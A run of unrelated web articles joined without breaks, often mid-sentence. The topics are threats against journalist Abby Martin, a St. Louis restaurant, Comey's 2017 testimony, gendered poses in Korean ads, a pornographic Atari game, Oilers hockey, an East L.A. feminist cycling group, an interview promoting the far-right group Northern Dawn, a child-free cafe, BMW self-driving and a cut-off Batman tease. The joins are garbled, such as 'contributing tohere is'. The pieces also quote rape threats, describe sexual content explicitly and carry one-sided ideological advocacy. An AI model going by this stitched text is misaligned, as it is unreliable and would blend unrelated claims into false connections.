In July 2014, Jesse Ventura, the former governor and Navy SEAL, won a lawsuit against Kyle’s estate. Kyle invented a fictional fistfight between the pair in his book and repeated the story in a subsequent appearance on Fox News.
“I’m sure that he got his own share of threats, but what he didn’t get was people saying they want to rape him,” she said, comparing the reaction to Ventura’s lawsuit to the social media users who threatened to mutilate Martin’s genitals.
“Those are the threats that men don’t get, but with women all of them revert to this base level misogyny — where men on public Facebook and Instagram accounts are saying, ‘We’re going to put on our raping shoes and find this bitch,’” quoted Martin.
Electronic Intifada journalist Rania Khalek also received rape and death threats after she published unflattering quotations from Kyle’s book, “American Sniper.” And Khalek documented how viewing the film based on the book inspired Twitter users to make racist threats against Arabs and Muslims.
“Right now, I’m more scared of Chris Kyle fans than terrorists,” Martin said, pointing out that a person is more likely to die from an accident in their home than an act of terrorism.
The group threatening her now seems especially aggressive, and the fact that many have military training makes their threats more plausible.
She added: “There’s nothing more despicable than rape threats, because it really reveals who these people are and how low they go. I don’t doubt that some of them have raped women.”
On the topic of gender, Martin concluded:
“It just shows you that we don’t live in a post-sexism society. We live in a society where if you’re a powerful strong woman, they’ll try to take you down in a sexually demeaning and misogynistic way. That’s the number one target on your forehead as a woman.”
Abby Martin, unbowed
Martin told MintPress that her boyfriend is an Iraq War veteran, who is now a peace activist.
“It’s disgusting when people try to tell me that I don’t know what veterans do, but I actually know about veterans who respect life and who have turned against what they know was wrong in Iraq,” she said. “I don’t have any respect for people who are just brainwashed pawns who don’t see their role. And yes, they are pawns but wars wouldn’t happen if people wouldn’t fight them.”
Martin explained that the “War on Terror” is especially reprehensible, because it often involves the U.S. acting as an occupying force against much weaker nations.
While her views on Chris Kyle remain unchanged, Martin is ready to continue on to other, more important work.
“I don’t want to pay attention to ‘American Sniper,’ I just think it’s one facet of a more systemic problem,” she told MintPress. Rather than become fixated on the movie, she said she’d rather examine the culture that makes it so popular. “You can’t have true dissent with your fellow citizens wanting to rape and kill you for what they claim these people died for.”
“I’m not going to let these assholes affect my life or my family’s life,” said Martin, explaining that she’s made herself and her family secure.
Now she’s ready to get on with her investigative journalism, which she described as, “exposing the criminals and exposing nationalism as a toxic cancer that perpetuates death and destruction.”
Ultimately, she concluded: “It is really awful to get your private information exposed, but don’t live in fear of anyone. Don’t live in fear of the NSA and don’t live in fear of these assholes because that’s exactly what they want you to do.”Vicia Restaurant, located at 4260 Forest Park Ave. in the Cortex innovation district, is among 20 new restaurants featured in USA Today’s 10Best contest.
The 20 restaurants were selected by a panel of food and travel experts. The winner will be selected by votes from the public. Voting ends on Monday, Jan. 1.
Vicia is currently in first place, followed by Signature in San Antonio and The Morris in San Francisco.
Michael and Tara Gallina opened the vegetable-forward restaurant inside the $31.6 million 4260 building in March. It was designed by Sasha Malinich of R/5 and Casco Architects. Plans for Vicia, which at 2,500 square feet seats more than 50, were first announced in June 2016.
Michael Gallina was previously executive chef at Blue Hill at Stone Barns in New York.
Earlier this year, Bon Apetit, Eater and Esquire named it one of the best new restaurants of the year.
MORE: St. Louis eatery among best new restaurants in the country
MORE: Bon Appetit names local restaurant one of the nation's 10 best new eateries
MORE: TechShop St. Louis attracts DIY innovation to the Cortex districtMSNBC host Joe Scarborough wrote on Twitter Monday that the day marks the lowest point of President Trump Donald John TrumpHouse committee believes it has evidence Trump requested putting ally in charge of Cohen probe: report Vietnamese airline takes steps to open flights to US on sidelines of Trump-Kim summit Manafort's attorneys say he should get less than 10 years in prison MORE’s tenure so far.
The tweet from the "Morning Joe" host comes after FBI Director James Comey confirmed that the agency is probing Russian attempts at meddling in the 2016 presidential election, including whether figures in Trump's campaign had connections to Russia.
I had said Friday was the worst day of Donald Trump's presidency. I was wrong. It is today. — Joe Scarborough (@JoeNBC) March 20, 2017
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In the past, Trump has been a regular viewer of "Morning Joe," a fact that reportedly drove up the cost of commercial spots when it airs.
Comey confirmed the existence of the investigation during a House Intelligence Committee hearing.
“As you know, our practice is not to confirm the existence of an ongoing investigation,” he said.
“But in unusual circumstances where it is in the public interest, it may be appropriate to do so,” Comey added, noting the Department of Justice (DOJ) had authorized him to break bureau policy and publicly disclose the probe.
“This is one of those circumstances. I can promise you we will follow the facts wherever they lead.”
Comey also said during Monday’s hearing that DOJ has found “no information” supporting Trump’s claim former President Barack Obama Barack Hussein ObamaWith low birth rate, America needs future migrants 4 ways Hillary looms over the 2020 race Obama goes viral after sporting black bomber jacket with '44' on sleeve at basketball game MORE wiretapped him.
The FBI director refused to “characterize” tweets Trump posted earlier the month alleging Obama wiretapped Trump Tower in New York City last year.
Trump has not recanted the controversial claims, which the White House has said refer to the Obama administration’s surveillance activities more broadly.
The chairman and the ranking member of the House Intelligence Committee have previously said no evidence exists substantiating Trump’s allegations.
DOJ sent documents to Chairman Devin Nunes (R-Calif.) and Rep. Adam Schiff Adam Bennett SchiffTech takes heat as anti-vaxers go viral Demands grow for a public Mueller report Bharara: It would seem 'odd and unusual' if Mueller report isn't made public MORE (D-Calif.) last Friday that they each said do not verify the accusations.
Nunes said on Monday his panel has not ruled out other spying methods targeting Trump or his 2016 campaign besides wiretapping.
“We know there was not a wiretap on Trump Tower,” he said during the opening statement of Monday’s hearing. "However, it’s still possible that other surveillance activities were used against President Trump and his associates."How to use it?
If you have permission to upload files to your server, then save the following files to your local computer and upload them to your server: dottoro-highlighter-v4.css Size: 10461 bytes dottoro-highlighter-v4.js Size: 10043 |
these days by talking about erections, I’m loath to end it on something as deflating as domestic savings rates. But then so often am I asked questions afterwards like…
Why are there such sharp distinctions in the ways men and women are presented in ads?
Why are women portrayed passively, weakly, dependent, childishly, and in awkward, unnatural poses to a much greater extent than men?
Why, despite being written about North American advertisements in the 1970s, does Gender Advertisements have such resonance in Korean advertisements today?
…that in my latest version for the 4th Korea-America Student Conference at Pukyeong National University (a highly-recommended 4-week exchange program by the way!), I decided to address the last by providing the data to backup my argument that it was largely because of a shared experience of housewifization. In the actual event though, the students wisely decided that they’d much rather get lunch than ask any more questions, so let me give a brief overview of that argument here instead:
In short, housewifization is the process of creating a labor division between male workers and female housewives that every advanced capitalist economy has experienced as it developed, essential and fundamental to which is the creation of a female underclass that acquiesces in this state of affairs, finding self-identity and empowerment in its consumer choices rather than in employment. Lest that sound like a gross and – for the purposes of my lecture – rather convenient generalization however, then let me refer you to someone who puts it much better than I could. From page 60-61 of this edition of The Feminine Mystique (my emphases):
The suburban housewife – she was the dream image of the young American woman and the envy, it was said, of all woman all over the world. The American housewife – freed by science and labor-saving appliances from the drudgery, the dangers of childbirth and the illnesses of her grandmother. She was healthy, beautiful, educated, concerned only about her husband, her children, her home. She had found true feminine fulfillment. As a housewife and mother, she was respected as a full and equal partner to man in his world. She was free to choose automobiles, clothes, appliances, supermarkets; she had everything that women ever dreamed of. In the fifteen years after World War 2, this mystique of feminine fulfillment became the cherished and self-perpetuating core of contemporary culture.
And then this from page 197 of the 1963 edition:
Why is it never said that the really crucial function…that women serve as housewives is to buy more things for the house… somehow, somewhere, someone must have figured out that women will buy more things if they are kept in the underused, nameless-yearning, energy-to-get-rid-of state of being housewives…it would take a pretty clever economist to figure out what would keep our affluent economy going if the housewife market began to fall off.
Ironically, by 2009 more women would actually be working in the US than men. But rather than the result of enlightened attitudes, this was primarily because layoffs were concentrated in largely male industries like construction, and I am unconvinced that the above dynamic no longer applies there.
In Korea however, the exact opposite happened. Moreover, while by no means are modern Korean notions of appropriate gender roles a carbon-copy of those in the United States in the 1960s and 1970s, even if Korean women themselves are saying that the parallels between Mad Men and Korean workplaces are uncanny(!), the fact remains that in a society where consumerism was once explicitly equated with national-security, there also happens to be the highest number of non-working women in the OECD. It would be strange if the gender ideologies that underscore this decades-old combination were not heavily reflected in – nay, propagated by – advertising.
This is a simplification of course, one caveat amongst many being that the Korean advertising industry is actually heavily influenced by the Westernized global advertising industry (see this post on the impact of foreign women’s magazines in Korea for a good practical example of that). But, also raising the sociological issues of Convergence vs. Divergence, and the role of Base and Superstructure, the main purpose of my finishing my lecture with that explanation is to leave audiences with encouraging them to think for themselves, by giving them just a tantalizing hint of how deep the sociological rabbit hole goes.
Yes: it’s a cliche, but Gender Advertisements is very much a red pill. In particular, consider what greeted me at work just two days after giving the lecture:
I don’t know their names sorry (anyone?), but I was struck by the different impressions left by the man and the woman’s poses. Whereas he seems to be engaging the viewer’s gaze, the finger on his chin implying that he is actively thinking about him or her, in contrast the woman’s “bashful knee bend” and “head cant” make her appear to be merely the passive object of that gaze instead.
For more about those advertising poses, see here and here, especially on how they arguably make the person performing them subordinate in many senses, and – regardless of those arguments – the empirical evidence that women do them in advertisements much more than men. Indeed, while that advertisement was perfectly benign in itself of course, and you possibly nonplussed at my even mentioning it, just a little later that week I saw this similar image with Han Ye-seul (한예슬) and Song Seung-heon (송승헌) in a Caffe Bene advertisement, outside a branch opening close to my apartment:
A close-up:
Granted, the head cant helps frame the couple, and the ensuing contrast between the two models makes for a more interesting picture. But neither explains why it’s more often found on women than on men. Moreover, primed to look for more examples from then on, for the rest of July I saw plenty of advertisements featuring women by themselves doing a head-cant, and a few with men by themselves doing one. But when a man and woman were together?
Call it confirmation bias, but it became a slightly surreal experience constantly only ever seeing the woman doing it (it’s one thing to know about something like that in an abstract sense from academic papers, quite another to experience it for yourself). Here’s an example from a recent trip to Seoul:
A close-up:
Another with Lee Min-jeong (이민정) and Gong-yoo (공유) in Seomyeon subway in Busan:
One more with Wang Ji-won (왕지원) and Won-bin (원빈), commercials of which are playing on Korean TV screens at the moment:
Finally, with Jeong Woo-seong (정우성) and Kim Tae-hee (김태희):
Only after 4 weeks(!) of looking, did I finally find a possible example of the opposite in Gwanganli Beach last Saturday (with Song Seung-heon {송승헌} and “Special-K girl” Lee Soo-kyeong {이수경}):
Having told you about the difficulty I had in finding such an ad though, then Murphy’s law dictates that you’ll probably see one yourself very soon; if so, please take a picture send it on, and I’ll buy you a beer next time we’re both in the same city. But it wouldn’t surprise me if I don’t actually hear from anyone until September!
Update 1: Literally just as I typed that last, the headline that “Women till stereotyped in TV ads” appeared in my Google Reader. I should feel vindicated, but I actually find the study described quite superficial, the conclusions meaningless without reference to that fact that roughly 75% of Korean advertisements feature celebrities. Still, I’ll give the National Human Rights Commission the benefit of the doubt until I see Korean language sources.
Update 2: The Korea Herald also has an article on the study, but it’s virtually identical.Beat 'Em and Eat 'Em is a pornographic video game for the Atari 2600 by Mystique in 1982. Distribution was handled by American Multiple Industries until distribution changed to Game Source. Players control two nude women; the goal is to catch sperm in your mouth which is falling from a masturbating man on a rooftop without missing. Its gameplay has been compared to the Atari game Kaboom!. There is also a gender-reversed version of the game titled Philly Flasher that features identical gameplay. Beat 'Em & Eat 'Em has received negative reception since its release and is an oft-cited example of pornographic Atari 2600 games.
Gameplay and premise [ edit ]
Players control two nude women on the street who must catch semen in their mouths that comes from a masturbating man on a rooftop without missing. This can be accomplished merely by touching the women's bodies on the sperm before it hits the ground. A more difficult setting requires players catch the sperm before it goes past the women's shoulders. If the player successfully catches every sperm, the two women lick their lips and the game progresses to the next round. If any sperm hits the ground, the first turn is over. Players are allowed to miss four times before the game is over. They can gain a turn every 69 points scored (up to two extra turns). Players move both women using the controller's paddle and the game allows each player to control one woman. The game plays similarly to the Atari game Kaboom!.[2][3][4][5]
Philly Flasher is a gender swapped version of the game in which the player controls two male prisoners with their genitals exposed catching lactation from an old witch's breast. Instead of licking their lips, the two men will masturbate if the player successfully catches every drop of lactate.
Release [ edit ]
Beat 'Em & Eat 'Em was published and developed by Mystique in 1982.[1] Its sales and distribution were handled by American Multiple Industries.[6]
A gender-reversed version of the game was later released in a 'double-ended' cartridge along with Cathouse Blues as Philly Flasher, in which the player is tasked with controlling two male prisoners with visibly erect penises as they attempt to catch drops of breast milk lactated by a witch. All gameplay mechanics are identical to the original, save for the fact that when the men catch all the milk, they masturbate and ejaculate.[7] The rights for sales and distribution were taken over by Game Source, which changed the line of adult video games (which included Beat 'Em & Eat 'Em) to "PlayAround". The company created multiple "double-ender" cartridges which included two of these adult games in one. One of these was a compilation of Beat 'Em & Eat 'Em and Lady in Wading.[6] A homebrew port of the game for the NES was developed in 2014 by FG Software.
Reception [ edit ]
Beat 'Em & Eat 'Em has received negative reception since its release. It is often cited as an example of pornographic Atari 2600 games.[8][9][10][11] The developer had received criticism for this game.[12] Atari HQ identified both the Beat 'Em & Eat 'Em and the PlayAround cartridge a rarity level of 5 out of 10.[13][14][15] Allgame gave it two stars out of five.[3] Seanbaby included it in his list of the 10 naughtiest games of all time; he mocked a quote in the manual that chastises players who fail to catch sperm as the sperm "could have been a famous doctor or lawyer" due to the fact that swallowing sperm has the same effect as letting it hit the ground. He also criticized the level of eroticism stating, "There's something non-erotic about skipping past the courting, past the foreplay, past the actual sex, and getting straight to the sperm-swallowing. They might as well have skipped directly to sleeping on the wet spot."[16] Destructoid founder Niero Gonzalez listed it as the second most sexual Atari 2600 game ever made.[17] Brett Elston criticized early Beat 'Em & Eat 'Em for its depiction of women as "crudely designed slamholes."[18] GamesTM used it as an example of Atari 2600 games that feature masturbation as its core gameplay mechanic.[19] Luke Plunkett noted that Beat 'Em & Eat 'Em was a "relatively harmless" adult game for the Atari, in contrast with Custer's Revenge.[20] Daemon Hatfield expressed amazement that Beat 'Em & Eat 'Em was made 20 years before the video game sex controversy Hot Coffee.[4] PJ Hruschak wrote that games like Beat 'Em & Eat 'Em were more "silly than sexy."[5] Luke of PALGN commented that Beat 'Em & Eat 'Em was "tasteless" and "inappropriate."[21] Steven Poole satirized the News International phone hacking scandal using Beat 'Em & Eat 'Em called Whack 'Em & Hack 'Em in a commentary on the Supreme Court of the United States' ruling that video games are protected by the First Amendment to the United States Constitution and America's "'obscenity' exception" to free speech.[22]
See also [ edit ]
References [ edit ]
Beat 'Em & Eat 'Em can be played for free in the browser at the Internet ArchiveEighteen-year-olds aren’t supposed to make the Edmonton Oilers anymore. That’s all in the past, isn’t it?
Well, here’s something else that isn’t supposed to happen: Kailer Yamamoto, the first-rounder from 2017, isn’t supposed to be more NHL-ready than Jesse Puljujarvi, the first-rounder from 2016. Especially when Yamamoto stands five-foot-eight while Puljujarvi is six-foot-four, with a pro season in North America behind him.
But isn’t that why they play the games? So long shots like Yamamoto can show all us experts that we may be wrong — again.
“One of our best forwards again tonight,” assessed Oilers head coach Todd McLellan, after Yamamoto scored his fifth pre-season goal in a lopsided 6-2 rout by Carolina.
Puljujarvi, chosen No. 4 overall in ’16, had opened the night on a line with Connor McDavid and Pat Maroon. But his game just isn’t there yet, full of looping circles and stick-reaching checks. He’s 203 pounds, but Yamamoto has knocked more players off of more pucks this pre-season at 155 pounds.
By the second period, Yamamoto, picked 22nd in ’17, had taken his spot.
Clearly, Yamamoto is well ahead of Puljujarvi at this early juncture in their careers. That may change one day, but it won’t change by the time McLellan and general manager Peter Chiarelli have to name their 23-man roster to start the season.
“Never say never. That’s my motto,” said the feisty Spokane, Wash., native, who has a knack for scoring goals — in the pre-season at least. “Just keep putting my head down every day and working as hard as I can.”
If there is a shining example of how a rebuild never goes completely as planned, it is the Oilers. They stumbled and bumbled through years of fitful building, with their first No. 1-overall pick coming back in 2010 (Taylor Hall), and only this October do the Oilers open the regular season as a unanimous pick to make the playoffs.
Well, now we find out a resurgence doesn’t quite go the way we thought it would either. With a team-leading five goals and six points in four pre-season games, Yamamoto has had a better camp than Puljujarvi, and more than a few veterans as well.
“(Yamamoto) got pucks out when he needed to, he made plays. No glaring turnovers,” McLellan said after the loss to Carolina that dropped Edmonton’s pre-season record to 5-1. “He managed his shift length well, where we had other guys who milked it and went too long. Found a way to (deflect) one in for a goal. It’s been impressive watching him.”
But coach, your team is supposed to be past the point where the latest first-rounder can walk in and make the roster. Isn’t it?
“The 18-year-old isn’t supposed to step in and play, but when he continues to open your eyes,” McLellan admitted. “And you (media) guys wouldn’t keep asking me these questions if he wasn’t opening yours. He deserves the opportunity to keep on going.”
When camp opened, every single person inside this Oilers organization had Yamamoto returning to the Spokane Chiefs for his draft-plus-one season. Personally, I’d have bet you he would be sent down before the Oilers’ final pre-season tilt in Vancouver on Saturday.
But Yamamoto, who turns 19 on Friday, has been more than capable at even strength (he is plus-3). As a right-shot right-winger, he’s given the Oilers something that Jordan Eberle never could: a quick release on the power play. Like Mark Letestu, the fourth-line centre who stole Eberle’s job on the first power-play unit last season, Yamamoto doesn’t need to dust the puck off, or handle it a few times, before rifling a hard shot on net.
He has scored twice on one-timers from the left circle, a weapon that could just buy him a regular season game or two.
“You need a guy who wants to shoot the puck, and doesn’t shy away from it or (be deterred by) missing the net once or twice,” said centre Leon Draisaitl. “Connor and me, we like to pass. We really need a guy over there who can rip the puck.”
That guy wasn’t supposed to be the junior kid who learned to skate from Tyler Johnson’s mom in Spokane. Not this season, anyhow.
“Just being able to hang around (the Oilers players) day in and day out, it’s been a dream come true,” Yamamoto said. “I keep trying to work my hardest every day. Keep trying to make the team.”
There is no doubt that the NHL game has opened up to young, quick players like Yamamoto far more than in the past, and the juxtaposition of him passing by the big, powerful Puljujarvi is tangible evidence of that.
Now, we’ll reserve our final opinion until Yamamoto plays against entire lineups of NHL players. But it is time to admit that he has earned the chance to open the season in Edmonton.
Frankly, his coach can’t argue that point.
“I don’t care who plays on our team,” McLellan said. “We need 23 guys to wear jerseys. Whether he’s 18 or 38, we want to win, and it doesn’t matter to me what their names are or how big they are.
“If they can get the job done, then they should play.”In some parts of East Los Angeles, the Ovarian Psycos are hard to miss. "They have sort of a riot grrrl, punk, militant, Zapatista aesthetic," says filmmaker Kate Trumbull-LaValle. In her new feature-length doc, Ovarian Psycos, she and co-director Joanna Sokolowski follow the activist group, which calls their work "women-of-color feminism." The film focuses on the Psycos' founding member Xela de la X, a single mother, activist, and poet-MC who started the group back in 2010. It highlights Xela's struggle to balance her role as an activist leader and as a mom in a community working through issues of sexism, poverty, and racism.
The cyclists' special brand of feminism embraces the indigenous heritage of its largely Latina community base living in East L.A. It's a counterculture feminist group primarily for women of color. "The reason they're so specific about this being a women-of-color space – run by women of color for women of color," says Trumbull-LaValle, "speaks to the fact that 'Feminism' (with a capital F) doesn't recognize the complexities that race and class bring to the table when we're talking about gender inequality." That sentiment isn't unique to the Psycos. It has its roots in the Chicana movement predominant in East L.A. during the Sixties and Seventies. "Women who worked in La Raza, or the Movement, often felt that the issues important to them – issues about sterilization or issues about machismo, misogyny, or sexism – weren't taken as seriously," says Trumbull-LaValle. "They were always secondary issues. And then when they went to work with the mainstream feminist movement, like NOW and abortion rights, they felt like the issues of race were still really relevant, and that white women and mainstream feminists often ignored those factors, like race and class," she says. "I think the same thing stands for Ovarian Psycos." A sentiment likely shared by many women of color in Texas who too often bear the brunt of the state's anti-women legislation.
Historic murals by Chicano artists and other remnants of the Chicano movement serve as backdrops for the film, highlighting their prevalence in the Psycos' identity. "It's something undeniable," says Trumbull-LaValle. "And it's something they inherited. That's what makes [the Psycos] so interesting. They're calling attention to that, and also redefining civil rights for themselves." One special weapon in the Psycos' arsenal for civil rights: the bike, which they use to rally and empower group members. They schedule rides "on the streets and in neighborhoods or at night or in places where [women] might not feel safe," Sokolowski says. "Just the act of being visible on the street is really empowering." The rides also provide a time and a place to discuss important issues, and many group members can't afford other modes of transportation anyway. "A lot of these women can't afford gas. They can't afford a car," says Sokolowski. "So a bike really is the only alternative for them."
Documentary Feature Competition, World PremiereDorin Alexandru by
T
, contributing tohere is a fresh face in the Canadian Right. Established this passing year, the Northern Dawn has quickly emerged as a hopeful presence in the fight against the liberal establishment. Interviewed by Vice and the Edmonton Examiner, it continues to present a polished and professional face to the public. What characterizes Northern Dawn's political philosophy is a reactionary traditionalism concerned with maintaining the sovereignty of Canada and its historical roots in the British Crown. The strength of Northern Dawn lies in its particular and uniquely Canadian position distinguishing it from many other North American right-wing groups. Joining us here today, we will be discussing Northern Dawn's particular vision for Canada's future and the role it means to play in the growing movement. But before we begin I would like to extend our gratitude on behalf of the CEC team and warmly welcome Northern Dawn to our humble abode. It is always a great pleasure to find allies and see the growth required for the change Canada needs.In one sense, there was never meant to be a Canadian tradition as such. Up until the stirrings of 1776, the British colonies in North America all had roots in the mother country and political loyalty to the Crown. But when powerful oligarchs in several of the colonies took the side of radical organizations like the Sons of Liberty, a great number of British Americans took extreme measures to keep their oaths to the Crown. Likewise, Quebec decided against joining in the republican experiment. The Canadian tradition is often an implicit thing rather than fully articulated, such as in the spiritual leadership of a Bishop Strachan or the novels of Stephen Leacock. In some ways, the strongest expressions of a Canadian tradition — particularly that of George Grant — were only written in the 20th century, when Americanization became a threat on the cultural instead of the political level. Nevertheless, this is a function and not an error of what Canada defended; if the rebels had grand ideological visions, the Loyalists had concrete oaths and lived social mores which tied them to European Christendom.Philosophers writing about these issues come from a variety of perspectives and temperaments. George Grant, Stephen Leacock, and Prof. Ron Dart are good entry points to the Canadian tradition itself. Charles Taylor, Peter Hitchens, Paul Gottfried, John Gray, Alasdair MacIntyre, Erik von Kuehnelt-Leddihn, Bruce Charlton, Mencius Moldbug, Charles Coulombe, and Roger Scruton are strong thinkers on broader themes like liberalism, secularism, and civilization-scale viewpoint. People looking at more current political events and issues like immigration in North America include Steve Sailer and Charles Murray.We aren't at this point promoting detailed political policies. However, we believe that immigration should like all issues be viewed from this perspective: "how does a responsible Sovereign govern in this area?" It is clearly irresponsible to encourage policies which result in conflict, or cultural-demographic instability. Social, cultural, and demographic cohesion must be considered in any sound immigration policy rather than just economic benefits. We require a firm vision of what Canada is and reform future immigration policy according to this vision. Issues such as housing speculation, birth tourism, and money-laundering have also not been taken seriously at this point in time, and we will continue to see the negative fallout of this attitude.Pre-Confederation, Bishop John Strachan is notable due to being the spiritual leader of the Anglo-Canadian elite of his time and his presence at the War of 1812. Born in Britain, he came to strongly embody the Loyalist spirit. Sir John A. MacDonald is also worth highlighting. His mentality and policies are not at all compatible with current libertarian-neoconservative ideological commitments in what is called conservatism. He firmly believed that economics must be subject to the political vision; in his case, a sovereign and united Canada within the British Empire.We firmly uphold Canada's Christian heritage and believe the Canadian tradition is inextricable from the civilization of European Christendom. Secularism is collapsing across the West as states must explicitly confront religious questions, particularly with the rise of Islam. This requires at the very least that the West must understand its own religious heritage. Going further, the incoherency of secularism as an ideology is becoming more apparent. Anglo-British secularism — the attitude of neutrality between religions in the political sphere — is no longer possible, while French secularism — the erasure of religion where it conflicts with the Jacobin mentality — is itself a destructive force with regards to our identity. While not all contributors to Northern Dawn are Christian, the project can be said to be post-secular.Canada has a special tie to the United Kingdom both by our Queen, as well as by culture and population. Those committed to our traditions in both countries must recognize our ties and build on them. Stephen Leacock in particular firmly opposed the brand of Canadian nationalism which tries to deny the British past and cut itself off from Mother Europe. A nationalism without roots is no nationalism at all. Such a vision ought to inform questions of trade or foreign policy. Currently, there are at least two visions of Brexit. One is a liberal one which envisions Britain as a free trade center which is merely outside the EU. The other sees Brexit as a more fundamental rejection of globalism. Northern Dawn, of course, has its sympathies with the latter.It's worth remembering what the term "alternative right" originally referred to: a multiplicity of rightist thinkers and traditions opposed to the neocon-neoliberal establishment. In one sense, there is a unity based on opposition. At the present time, President Trump could be said to be another pole of unity. Even generally non-political people sense that he represents a final hour of decision about what America and the West ought to be. The major disagreements within this broad rightist multiplicity are what precisely defines our civilization (race, faith, etc), what the best means to save it are, and which historic movements most influence us. But that it is worth defending and reawakening is not in question.Some examples include autarkic thinking with regards to our natural resources, making the Canadian tradition a core part of our education system both explicitly and implicitly, and Make the CBC Nationalist Again.The most important thing a political party with our views can do is understand how much of the actual government does not necessarily have any loyalty to the elected party. Both PM's Diefenbaker and Harper made this fatal mistake. While we have many disagreements with Harper, the level of comfort which the civil service felt in openly opposing him was quite shocking to see. A party which intends to govern must plan ahead based on this reality.In fact, we are consistently trying to get more feedback and support from French and Quebecois traditionalists and rightists to further explore this question. The continental French reactionary tradition is a powerful one: Joseph de Maistre, Louis de Bonald, Charles Maurras, and so forth. In Canada, George Grant found inspiration in the spirit of Henri Bourassa. One area to explore may be how French thought could be a corrective on the natural individualism of the Anglosphere, which often prevents English thought from competently addressing supra-individual concepts like the state and civilization.In any country, the state reconciles the various tendencies and currents of thought and culture into a greater sovereign power. In Canada, that sovereignty is embodied in the Crown. We believe that the Crown embodies many of the concepts which the Canadian Loyalist and High Tory traditions discuss intellectually. This being so, English and French loyalists of their respective traditions would present a stronger force if they rallied around this visible figure, rather than fragmenting.Currently, these currents of thought are being explored by assorted websites and independent scholars. The Northern Dawn project is focused on bringing these various currents under one digital roof and presenting them in an accessible way. We will continue to build this intellectual framework in order to present a superior alternative to the failing liberal, globalist order.As many of your readers will know, this year marks Canada's 150th anniversary of Confederation. The media and Trudeau government will be marking the year — but unfortunately, it's certain that they will present a view of Canada completely divorced from its heritage.As such, we want to present the chance for people to contribute to a digital symposium. Themes can range from history to political philosophy or explorations of research topics. The main qualifiers are that they should focus on the Canadian context of the topic and should take a long-term view rather than focusing on day-to-day political issues. Essays will be presented on the site and will be longer than our average article. We will publish more details on this shortly, but we encourage people to get in touch if they have early ideas.Lastly, we encourage readers disheartened by the current chaos to reflect on the idea of microcosm and macrocosm. We live in a chaotic age ultimately because of the chaos within us. Self-education, physical training, having a family — these things are within our power. If we desire a better order of things, we must become worthy of it. Let us go forth and do so.Bob has a sign up that says children under 12 ‘would not be catered for’ (Picture: SWNS)
A cafe has invoked the fury of parents after banning all children under the age of 12.
Bob Higginson, 61, only opened his ocean liner-themed cafe The Chart Room around a month ago in Brixham, Devon.
After opening, he quickly announced that while dogs and older children were welcome, kids younger than 12 ‘would not be catered for’.
Since then he has faced calls for a boycott from angry residents, who claim it’s a form of discrimination.
Higginson said: ‘My main demographic is older, more mature people who want peace and quiet.
‘I wanted people to be able to come and discuss the old days and have a nostalgic chat without children running around and distracting them.’
He added that children break things, whereas dogs often do not.
The cafe has a lot of old artefacts in that Bob is worried children will break (Picture: SWNS)
‘There are nice and expensive artefacts around which are not behind glass cases like they would be in a museum, and we’ve had things broken by children in the past,’ he continued.
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‘Yes, we welcome dogs. A lot of people have assistance dogs or pets they bring with them, and they don’t jump around taking things off the tables.
‘I’ve never had a badly-behaved dog come in.’
However, resident Wendy Moore is calling for people to boycott the Chart Room in protest.
‘Who on earth does Bob Higginson think he is?’ she said. ‘Would he ban disabled people from entering his premises? Or people of a particular race or colour or religion? I’ll bet my bottom dollar he wouldn’t.
‘Or how about the elderly? Ban them as well, would he? No, he wouldn’t – that would be ageism. So how come he thinks it’s OK to ban children of a certain age? This is blatant discrimination.’
Lee Knight added: ‘I’d rather go to a place full of happy, loud kids running about than some dark, quiet, miserable building with everyone sitting about moaning and sipping tea, but that’s just my choice.’
Some people are glad of a child-free space (Picture: SWNS)
But Bob did enjoy some support from locals.
Sharon Taylor said: ‘If parents would exert better control of their children, it wouldn’t be necessary. However parents seem to be afraid of controlling their children. His business… His rules!’
A Torbay Council spokesman said: ‘Whether or not children (under 18s) are permitted on a premises is not legislated.
‘Therefore, there would be no direction from the council as to whether a business can or cannot permit entry to children.
‘This would be a matter totally at the discretion of the premises licence holder or if not licensed then the business/premises owner.’By the time BMW is ready to field a Level 5 fully autonomous vehicle, some older BMW enthusiasts might be very ready for a self-driving car, since they may be too old to pass the eye test—or, for a few very senior BMW fans, the "still breathing" test. That's because a fully autonomous BMW—Level 5, in the self-driving hierarchy—is at least ten years away, according to Dirk Wisselmann, a senior engineer for automated driving at BMW.
In an interview with Drive Mag, Wisselmann pointed out that there is a difference between safety systems and cars that can take over all driver functions completely.
“Safety systems will help, but not take over 100%. We've got at least ten years ahead of us of assisted driving in such situations, not autonomous driving,” explained Wisselmann.
Controlling the car is not the issue. The challenge lies in the vehicle's self-driving systems being able to make all the right decisions in all possible situations.
To understand what the developers of self-driving cars are up against, it might be helpful to review the six levels of driver intervention and attentiveness required to classify vehicles as autonomous. These classifications were published by SAE International in 2014. The U.S. National Highway Traffic Safety Administration (NHTSA) adopted these classes in September 2016:
Level 0: Automated system has no vehicle control, but may issue warnings.
Level 1: Driver must be ready to take control at any time. Automated system may include features such as Adaptive Cruise Control (ACC), Parking Assistance with automated steering, and Lane Keeping Assistance (LKA) Type II in any combination.
Level 2: The driver is obliged to detect objects and events and respond if the automated system fails to respond properly. The automated system executes accelerating, braking, and steering. The automated system can deactivate immediately upon takeover by the driver.
Level 3: Within known, limited environments (such as freeways), the driver can safely turn their attention away from driving tasks, but must still be prepared to take control when needed.
Level 4: The automated system can control the vehicle in all but a few environments such as severe weather. The driver must enable the automated system only when it is safe to do so. When enabled, driver attention is not required.
Level 5: Other than setting the destination and starting the system, no human intervention is required. The automatic system can drive to any location where it is legal to drive and make its own decisions.
As you can see, there is a big difference between Levels 4 and 5. Other car companies, such as Ford, are projecting a market-ready Level 4 vehicle by 2021. Last year during its centenary, BMW said it would have a self-driving car by 2021. In looking at the standards and after reading Herr Wisselmann's remarks, we can only conclude that a 2021 BMW autonomous vehicle would be Level 4 at the most as well.
Many of us have said that BMW has another consideration when it comes to self-driving vehicles: they must have a switch to turn self-driving off. We still consider the operative word in BMW's "Ultimate Driving Machine" slogan to be "driving." According to Wisselmann, BMW is thinking of that, too, and that the self-driving technology of the future will work seamlessly with the human-driving technology.
“You can switch it on when you need it, and off when you don’t need it. Autonomous driving just takes care of the most boring parts of driving and lets the driver enjoy his BMW when he wants. There's no fun to commute on a very busy highway. But in the countryside, or on winding roads, you'll still be able—and encouraged—to take matters into your own hands,” said Wisselmann.
Who knows what effect the combination of technology, consumer preference, government regulation, and economics will have on the cars of tomorrow? It's nice to know that with BMW, we probably have at least ten years before we're faced with a fully self-driving choice and even then, BMW will still give us the option of being drivers.—Scott Blazey
[Photos courtesy of BMW AG.]Another reason you have to love Twitter is sometimes creators will send out teases for their books. Scott Snyder just teased a new character appearing in BATMAN #28 (26 is on sale this week).
The only thing listed was:
